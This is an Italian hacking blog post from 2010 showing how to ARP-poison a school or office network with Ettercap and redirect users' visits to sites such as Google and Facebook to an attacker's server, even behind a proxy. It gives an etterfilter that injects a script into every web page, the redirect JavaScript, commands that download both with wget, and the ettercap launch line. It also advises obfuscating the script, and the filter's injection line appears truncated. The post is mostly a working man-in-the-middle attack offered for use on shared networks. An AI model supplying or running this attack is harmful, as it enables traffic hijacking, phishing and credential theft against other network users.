ClsHack:Computer Security Blog    

Arp Poisoning: Dns Spoof with Ettercap [bypass proxy]


Fra un po’ ricomincia la scuola…e perciò anche le mie cazzate… :D

Nelle scuole/aziende o altro, spesso per navigare, bisogna passare da un proxy… perciò le richieste ai dns non saranno più fatte dai nostri server impostati, ma da quelli impostati sul proxy…

In questo modo, il plugin(dns_spoof) compreso in ettercap, che intercetta le query ai dns e le riscrive secondo le nostre impostazioni, non funziona :(


Quindi o modifichiamo il plugin e gli facciamo fare un controllo anche nell’header delle risposte:
Host:www.google.it
e gli modifichiamo la risposta, oppure… cazzeggiamo con javascript e i filtri di ettercap o.o :D

Vi consiglio questa lettura:
Beef XSS ‘Shell’ Inject with ettercap and Arp Poisoning

Ora inietteremo in tutte le pagine web, uno script javascript che controlla l’url da modifacre, se lo individua nelle sue impostazioni, fa un:
window.location=host
Potete fare anche un:
window.document.body.innerHTML=IFRAME
In questo modo, l’url resta lo stesso ;)
e il contenuto viene sostituito con un iframe, ma ho preferito il rendirect :D

Vediamo il filtro per ettercap:

#clshack.it :)
if (ip.proto == TCP && tcp.dst == 80)
{
    if (search(DATA.data, "Accept-Encoding"))
    {
           replace("Accept-Encoding", "Accept-Nothing!");
	}
}

if (ip.proto == TCP && tcp.src == 80)
{
	replace(") \n");
}


Dove dovrete sostituire http://192.168.1.21/spoof.js con l’indirizzo in cui risiederà il vostro script js.
Il codice js è semplicissimo:

//                  host      =>  fake iframe
var host=new Array("google.com","http://192.168.1.21","facebook.com","http://192.168.1.21/");
var count=host.length-1;
var i=0;
var str=""+window.document.location;
while (i<count)
{
	if(str.search(host[i])!=-1)
	{
		location=host[i+1]
		break;

	}
	i=i+2;

}


Come vedete, nell’array, si devono inserire gli host da reindirizzare/falsare seguiti nella posizione successiva con l’url di dove andranno a finire:D
var host=new Array("google.com","http://192.168.1.21","facebook.com","http://192.168.1.21/");

Vediamo come fare il tutto con ettercap ;)
sudo -s
echo 1 > /proc/sys/net/ipv4/ip_forward

Scarichiamo il filtro ettercap:
wget http://www.clshack.com/nopaste/etter.filter
Modificatelo a vostro piacimento :D
Compilatelo con ettercap.
sudo etterfilter etter.filter
Scaricate il codice js:
wget http://www.clshack.com/nopaste/spoof.js
Copiatelo dove cacchio volete ;) e configuratevelo a vostro piacimento :D
Ora avviate ettercap, con il filtro:
ettercap -T -q -F filter.ef -M ARP // //

Vi consiglio di comprimere il javascript e di ofuscarlo :D

Buon divertimento :D

Related posts:

  1. Beef XSS 'Shell' Inject with ettercap and Arp Poisoning
  2. [cronaca]Man in the Middle attack:Guida con ettercap
  3. [GUIDA]ETTERCAP E I SUOI PLUGIN :)
  4. Installare ETTERCAP su WINDOWS E UBUNTU :)
  5. HTTP session hijacking with Ettercap and Hamster

This entry was posted on Sunday, September 5th, 2010 at 3:09 pm and is filed under GNU/Linux, Hacking, Software. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Tagged with: